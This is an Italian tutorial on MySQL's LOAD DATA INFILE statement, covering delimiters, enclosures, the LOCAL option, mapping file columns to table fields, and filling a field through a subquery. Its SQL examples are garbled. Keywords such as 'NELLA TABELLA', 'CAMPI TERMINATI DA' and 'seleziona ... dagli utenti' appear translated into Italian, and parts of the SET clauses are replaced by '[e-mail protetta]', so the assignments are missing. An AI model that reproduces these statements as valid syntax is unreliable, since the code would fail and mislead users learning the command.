Se vuoi caricare dati formattati, diciamo separati da una virgola, la seguente costruzione ti aiuterà:

CARICARE IL FILE DATI "data.csv" NELLA TABELLA my_table CAMPI TERMINATI DA "," INCLUSO DA """ SCAPPATO DA "\\" RIGHE TERMINATE DA "\r\n"
Cosa significa questo?

• Cerca le terminazioni di riga come caratteri "\r\n"
• Dividi le righe in campi con i caratteri virgola (,).
• Aspettatevi che i campi siano racchiusi tra virgolette.
• Interpretare l'occorrenza di tabulazioni, newline o "\" preceduto da "\" come valori letterali che fanno parte del valore del campo.

costrutto LOAD DATA INFILE

Tutto ciò che abbiamo descritto sopra è il famoso costrutto LOAD DATA INFILE.

Accesso negato per errore utente

Se incontri improvvisamente un errore accesso negato all'utente, devi solo aggiungere l'attributo LOCALE Prima INFILE. Per esempio:

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE my_table

Carica i dati nella tabella dal file per campi specifici

LOAD DATA LOCAL INFILE "data.csv" NELLA TABELLA t1 CAMPI TERMINATI DA "," RIGHE TERMINATE DA "\n" (@ col1 ,@ col2 ,@ col3 ,@ col4 ) set name [e-mail protetta] col4 , id [e-mail protetta] col2 ;

Qui specifichiamo il nome del file (data.csv) da cui verranno caricati i dati. Nella costruzione (@col1,@col2,@col3,@col4) enumeriamo tutte le colonne del file per il loro ulteriore utilizzo. E poi, usando il familiare metodo set, impostiamo i valori di queste colonne per campi specifici della tabella.

CARICA I DATI INFILE con JOIN

Se devi compilare una tabella da un file utilizzandone uno esistente, probabilmente hai pensato subito di utilizzare giuntura. Il codice per un tale inserimento di dati è simile al seguente:

LOAD DATA LOCAL INFILE "data.csv" INTO TABLE table_1 CAMPI TERMINATI DA "\t" RIGHE TERMINATE DA "\r\n" (@col1,@col2,@col3,@col4) set [e-mail protetta], username=(seleziona il nome utente dagli utenti dove user_id = @col1);